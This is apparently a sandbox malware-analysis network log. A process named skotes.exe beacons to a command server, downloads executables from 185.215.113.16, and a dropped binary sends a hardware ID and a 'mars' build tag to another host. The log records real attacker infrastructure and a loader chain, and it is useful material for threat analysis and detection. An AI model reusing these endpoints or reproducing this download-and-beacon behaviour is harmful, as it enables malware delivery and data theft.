Nov 12, 2024 21:22:08.188721895 CET	1236	IN	Data Raw: 26 c4 f8 56 cd ba 9f 4c 2c 8f ab 70 74 b7 10 30 7f b6 62 90 6b 8a c0 39 a7 e0 40 a3 2d 32 eb 79 4b 77 10 c8 5f d7 9f 7b f8 6b 9f 4c 74 2a 7b 90 5f 30 f8 7c f8 77 9f 4c 74 2a 6b 90 43 30 ea c1 59 7c 92 61 74 b7 ae 4b eb a6 25 60 31 30 c1 c1 52 2c Data Ascii: &VL,pt0bk9@-2yKw_{kLt{_0\|wLtkC0Y\|atK%`10R,:zaT~L:l<t{s2N7un(TKt?WL,?/G5ItW::p,+{_0SCLKKTLs):
Nov 12, 2024 21:22:08.188733101 CET	1236	IN	Data Raw: 7f b6 64 60 75 a0 9f 6c 38 b7 10 30 7f b6 64 74 75 a0 9f 6c 38 b7 10 30 7f 6e 55 60 74 b7 9f 4c bd f1 8f 4c 74 b7 9f 33 3d ab 9f 4c 74 b7 d4 b3 63 b7 9f 4c 74 6e 55 70 74 b7 9f 4c 81 fe 08 dc 63 32 1d 74 74 03 b1 9d 74 27 0f fc eb 27 0f fc eb 27 Data Ascii: d`ul80dtul80nU`tLLt3=LtcLtnUptLc2ttt'''*Upu'T~Ls09dpul80puKn{2q{SLk9k9@-2}Lt2_7LKL;{zuLt2qwcLt'''%`60R,
Nov 12, 2024 21:22:08.188745975 CET	1236	IN	Data Raw: 74 d7 53 4c f9 73 93 4b 0f d3 83 4b 6e b7 bf b0 7b 32 d3 71 75 03 b3 64 75 a0 9f 6c 38 b7 10 30 7f b6 62 90 67 8c f4 4b 74 b6 ca 39 a7 6b cb 39 a7 e0 40 a3 2d 32 eb 61 e1 cc ae 0c fb 38 9f 6e 65 30 13 4e 74 b7 16 5a 80 a1 0f fc eb 27 0f fc eb 28 Data Ascii: tSLsKKn{2qudul80bgKt9k9@-2a8ne0NtZ'(`NyLTJ%z2Kd3CNtKY/eWtl80,wWLLeATM1zv_,kc'''{G%z2+C{Lt(Mu2}
Nov 12, 2024 21:22:08.188759089 CET	1236	IN	Data Raw: b2 46 36 da 15 2c ef 44 99 74 e9 78 03 75 2f 61 74 b7 16 5e 42 75 e8 b7 eb 27 0f fc eb 2a 93 90 40 f3 b3 70 7b 70 08 c0 5f af 16 44 b1 04 1f 73 f4 be f0 f6 a8 74 e8 7c e3 6f d9 de fb ae 1f 43 99 0c d0 5e 74 b7 9f 95 bc 74 e9 7c 03 75 ee 4c 7b b7 Data Ascii: F6,Dtxu/at^Bu'*@p{p_Dst\|oC^tt\|uL{@Le3Mt'o_ab/sLKw,\|L2Jnp\|M{q]dASazN%n2z?M\|q{q]dASa~N%n3zc2\|1oazp_$Bg5Lxg
Nov 12, 2024 21:22:08.193644047 CET	1236	IN	Data Raw: 3d 3f 12 0c 0f aa 08 fa ff b7 9f 4c 41 e9 6f f5 63 2a 55 c8 fe 77 63 8f e0 ff 08 f2 e7 b7 9f 4c 43 6e 08 ba 13 2a 45 a8 32 9e 60 4e e3 9e 93 b2 0f b4 ee ce ba 05 01 4f 74 1e 4e bc 83 ef 44 4c 74 32 d3 79 7b 39 47 95 f5 1b 90 0a e7 b7 9f 4c e3 79 Data Ascii: =?LAocUwcLCnE2`NOtNDLt2y{9GLyLt,`{wOKw}k9k9@-20Lt_L0Lt_L0a{_%L'',{?/Lt_Lt*Cg2uwL;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49807	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:11.783996105 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 38 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005812001&unit=246122658369
Nov 12, 2024 21:22:12.704575062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49808	185.215.113.16	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:12.712115049 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 21:22:13.626044989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:13 GMT Content-Type: application/octet-stream Content-Length: 1811456 Last-Modified: Tue, 12 Nov 2024 20:08:55 GMT Connection: keep-alive ETag: "6733b5d7-1ba400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 69 00 00 04 00 00 2d ec [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"i@i-@M$a$ $b@.rsrc $r@.idata $r@ *$t@sgoicwpipOv@ulryzzyai~@.taggant0i"@
Nov 12, 2024 21:22:13.626061916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:13.626080036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:13.626100063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:13.626112938 CET	1236	IN	Data Raw: cf fc 14 57 a1 e1 69 d4 d9 8d 9d d9 64 64 82 de ce 6b 9b 31 21 c6 40 74 c1 65 de 32 fd fc 70 ca 31 dc bf d2 5b c1 cd 33 9c 7b 5e 87 cc 68 a8 6a 79 12 a1 e2 c1 69 44 ac ba 5c 9a 2e 6c 6c b4 a3 39 af 3c 93 51 d3 d8 2d a7 f9 a5 31 43 92 90 49 b9 54 Data Ascii: Widdk1!@te2p1[3{^hjyiD\.ll9<Q-1CITG1?NIST 75CiSW<MID0)7!CY}l&4OS%iL<D*&yP4=@6PIH@)48?\TzAsN5p
Nov 12, 2024 21:22:13.626123905 CET	1236	IN	Data Raw: cb fd a7 73 a2 64 7a ab 23 d9 35 59 10 41 cd 3b d0 56 dc e3 e2 c4 e1 f6 21 a7 30 3c 7b 55 58 49 b3 57 52 d6 9b b8 ab ac 0e 06 9b 2e fa 76 06 4c 00 81 59 d9 62 46 58 11 5e f9 69 bb 3b 1e af 23 11 f3 da a8 c5 fd b6 8a fa d8 19 0e c3 f8 30 83 02 1f Data Ascii: sdz#5YA;V!0<{UXIWR.vLYbFX^i;#0}{YvRZcFd`J?AP9SO,GHQ\|dyiL)XriMJWZ$cir_Qm9JVi%$W{*ML"Km
Nov 12, 2024 21:22:13.626135111 CET	1236	IN	Data Raw: c1 2c 7b 8f 6a 3c 38 87 fb 4c 52 49 21 3c 5e 51 ed 98 4c cb 01 36 89 4b 21 54 50 8d 3d 64 10 87 c5 9f 69 c6 11 4f 8a 52 fd a2 59 37 d8 1c 53 a9 31 58 cc 63 1d 25 28 82 cf 19 b0 d1 3d 56 e0 62 09 25 12 84 40 1c 5c a9 59 58 00 64 b1 98 61 f2 fe 7e Data Ascii: ,{j<8LRI!<^QL6K!TP=diORY7S1Xc%(=Vb%@\YXda~ZQi%To9acl!Q-h(J^\Yi$uVA<X;-IXkCVlU$i?]YIz*XDyc15DVl\Jb\,Su1pOayHk1#V^F'i)$
Nov 12, 2024 21:22:13.626146078 CET	1236	IN	Data Raw: bf 6f 29 57 46 83 11 66 cb 48 ca 57 bd a2 6c 0c de d6 0f 92 47 2a 18 c6 39 9f 90 f6 fd 2f cc a7 c1 2a e4 86 2d 1c a0 e0 02 19 a6 f9 c1 2a 10 86 8d 36 d1 69 40 58 57 c5 0c 1c 61 29 fc b0 d1 65 29 6a 92 79 b1 2a 50 51 de 9c 84 cd 49 6e dc 1b cb 3c Data Ascii: o)WFfHWlG9/-6i@XWa)e)jyPQIn<mijmGV<WpYD?v^=dlmD-/jDnkU6I1VJgcP03SZ>b^@e`6d@XAxQ=dR-(\*8;jYD8f}YhH^ciw<Wtp
Nov 12, 2024 21:22:13.626157045 CET	1236	IN	Data Raw: 1a b7 5e f5 db e0 59 d3 cd 36 cf 8e 41 f1 61 51 79 98 f0 ce 01 8d d4 ab e5 c0 7c ca f9 b8 53 47 d9 85 2f 53 23 39 e8 99 cf 57 e0 63 41 56 95 75 c7 8e 50 57 89 63 b0 cb 49 4b de 4b 8e f4 5e 51 ad 9e 70 b2 ce 35 11 c6 c1 49 96 59 6a 3c f0 83 e5 1f Data Ascii: ^Y6AaQy\|SG/S#9WcAVuPWcIKK^Qp5IYj<TkIQCLmY^bLjc^A<0SPWeV$mWdoIlKR=ZbLjwTigjIedWzZ(*el$]Yq@WA5 'Z-WY$dAS@a-a%ph
Nov 12, 2024 21:22:13.626169920 CET	1236	IN	Data Raw: ce d6 6d 43 cf 28 8d 65 71 36 88 53 19 af 74 86 42 48 8a 57 25 25 72 55 3f 66 5d d3 c1 64 84 5c 01 9c 30 56 03 17 ba 87 0d 98 5c a5 fe b7 78 46 e8 0f 4b cd cd 88 e9 57 39 1c d0 85 43 f9 cc 51 c0 7c d4 c9 4d 56 20 ca dd e3 6a 55 41 f6 5e 51 6d 98 Data Ascii: mC(eq6StBHW%%rU?f]d\0V\xFKW9CQ\|MV jUA^QmL^I*pYw<D[7CVzZT,W6SzlLYo^XAFPWQYI0PWuVDJ8[PC5C"$9CC<tP&I AUjW%lI'
Nov 12, 2024 21:22:13.631117105 CET	1120	IN	Data Raw: 85 95 df f5 43 24 9d c1 b0 2d 20 5d 79 64 6d fe e3 84 b8 46 e1 15 88 28 08 b5 98 37 f6 e5 db 76 d9 ef f2 67 19 8a 8c 67 78 ad ca 48 46 89 20 74 16 08 89 31 db 16 f9 e2 d7 07 96 1d da 27 7c 7c 2d bd d3 ce ff ec 87 37 c3 c0 64 3e d6 6c d0 00 46 b8 Data Ascii: C$- ]ydmF(7vggxHF t1'\|\|-7d>lF;f[6?:^W/`ni`MxU?'`Z ZYdROy @6a?c]KfW636n(5W/FOml2_~dO8Y0p_5J7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49812	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:17.214019060 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 38 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005813001&unit=246122658369
Nov 12, 2024 21:22:18.077538013 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49814	185.215.113.16	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:18.293381929 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 20:08:55 GMT If-None-Match: "6733b5d7-1ba400"
Nov 12, 2024 21:22:19.191282988 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:19 GMT Last-Modified: Tue, 12 Nov 2024 20:08:55 GMT Connection: keep-alive ETag: "6733b5d7-1ba400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49815	185.215.113.206	80	6208	C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:19.013515949 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:22:19.907999039 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:22:19.938782930 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="build"mars------DAFIEHIEGDHIDGDGHDHJ--
Nov 12, 2024 21:22:20.216468096 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49817	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:20.971553087 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 38 31 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005814031&unit=246122658369
Nov 12, 2024 21:22:21.912573099 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49818	185.215.113.16	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:21.920329094 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 21:22:22.824954987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:22 GMT Content-Type: application/octet-stream Content-Length: 2811392 Last-Modified: Tue, 12 Nov 2024 20:07:34 GMT Connection: keep-alive ETag: "6733b586-2ae600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +4+`Ui` @ @.rsrc`2@.idata 8@citkblqg*:@joxrtjxa @+@.taggant@`+"*@
Nov 12, 2024 21:22:22.824976921 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.824987888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.825059891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.825077057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.825089931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.825103998 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.825115919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:22.825125933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: i?E;=Q38u4 Fnm23bK@l76A5(`+9?4?k>0Q0;#5m?u+T5]7q\|7_\|a40e}m3
Nov 12, 2024 21:22:22.825143099 CET	424	IN	Data Raw: 09 98 08 85 d8 2c 79 ad 89 07 dc b4 44 ad 9e 8c 47 d4 3b fd 80 d7 55 db 99 cc 19 1b 96 3e 62 df 95 01 3e 5c a1 0f 3f b7 f6 37 8a 76 8e c0 50 41 ec 86 30 5d 8c e0 3f a3 a6 cf 06 44 12 ff 4a 25 ba da 76 db 9d e2 bb 72 56 33 36 0b 6e 71 c4 98 07 a4 Data Ascii: ,yDG;U>b>\?7vPA0]?DJ%vrV36nqH}kvxRi.0S=bPb^7oh`2p>{7V=jhPnn7<U<1jdnl/?;k~"1X<pK\|l6#:E6
Nov 12, 2024 21:22:22.830231905 CET	1236	IN	Data Raw: a1 2f 2d a2 45 8e 1c d3 b3 d3 85 52 b8 37 f8 4e 11 c3 33 aa 87 51 8e 86 ca 58 33 ba 69 44 7e 82 c9 c0 68 92 0f 23 9d ab 28 36 48 63 96 e0 9d de c6 0f c2 9b ce b7 b0 37 f9 bb b8 c7 00 fb a1 ab 0a e6 30 0e 93 c3 f0 de 23 c8 12 52 8e 3f 27 3b b7 b0 Data Ascii: /-ER7N3QX3iD~h#(6Hc70#R?';d<2/l,7+K,>3.b@KGUexj8;;^-9U(2wi:6 vc_<h?~;k2ym?o.0qZOJxkdA\MMr*adtDdu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49821	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:26.235707998 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 38 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005815001&unit=246122658369
Nov 12, 2024 21:22:27.153765917 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49825	185.215.113.16	80	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:28.661650896 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 12, 2024 21:22:29.559592009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:29 GMT Content-Type: application/octet-stream Content-Length: 2811392 Last-Modified: Tue, 12 Nov 2024 20:07:36 GMT Connection: keep-alive ETag: "6733b588-2ae600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +4+`Ui` @ @.rsrc`2@.idata 8@citkblqg*:@joxrtjxa @+@.taggant@`+"*@
Nov 12, 2024 21:22:29.559667110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:29.559678078 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
